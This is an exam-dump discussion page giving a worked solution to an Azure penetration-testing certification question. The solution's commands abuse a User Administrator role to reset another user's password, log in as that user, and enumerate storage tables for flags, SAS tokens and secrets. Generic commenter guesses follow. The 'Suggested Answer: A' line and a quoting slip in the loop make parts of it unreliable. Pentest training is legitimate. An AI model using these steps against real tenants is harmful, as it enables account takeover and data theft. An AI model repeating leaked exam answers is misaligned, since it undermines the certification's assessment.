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The SecOps Group CCPenX-Az Exam - Topic 4 Question 1 Discussion

Posted by Salena on Jul 15, 2026 at 12:25 PM

SIMULATION

Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?

Suggested Answer: A

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator, abuse that role to reset the password of the target user.

az ad user update

--id lila.nguyen@azuresecops.onmicrosoft.com

--password 'NewP@ssw0rd12345!'

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p 'NewP@ssw0rd12345!'

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list

--account-name excaliburstore

--auth-mode login

--output table

Query each table:

az storage entity query

--account-name excaliburstore

--table-name <table-name>

--auth-mode login

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query '[].name' -o tsv); do

echo '===== $table ====='

az storage entity query

--account-name excaliburstore

--table-name '$table'

--auth-mode login

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

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17 comments · newest first
BR
Brett 5 days ago
Or maybe in a user’s email.
CA
Carolynn 10 days ago
Good point! The flag could be in a config file.
PE
Pearline 15 days ago
I’d look for sensitive files in shared drives.
BR
Brett 20 days ago
Exactly! I’d check user roles first.
CA
Carolynn 25 days ago
True, but you must be careful with permissions.
PE
Pearline 1 month ago
I feel confident about this. Azure has clear pathways for lateral movement.
BR
Brett 1 month ago
I think the flag is hidden well. Need to think like an attacker.
CA
Carolynn 1 month ago
This question is tricky! Lateral movement can be complex.
WH
Whitney 2 months ago
Sounds about right, but I’ve seen it in logs too!
SO
Sol 2 months ago
I think it’s in the user’s profile folder.
CE
Celia 2 months ago
Wait, are we sure this is the right approach?
JO
Josue 2 months ago
Totally agree, it's often hidden in unexpected places!
KA
Karan 2 months ago
The flag is usually a string of random characters.
CR
Crissy 2 months ago
I vaguely remember something about using Azure logs to track user activities, but I'm not confident if that will help in finding the flag here.
WA
Walton 3 months ago
I think the flag might be related to a specific resource or user data, but I’m a bit confused about how to navigate through the Azure environment effectively.
SH
Shelba 3 months ago
This question feels similar to the practice scenarios we did last week. I think we had to find flags in a similar context, but I can't recall the exact steps.
LE
Leonor 3 months ago
I remember practicing lateral movement techniques in Azure, but I'm not entirely sure how to identify sensitive information once I gain access.
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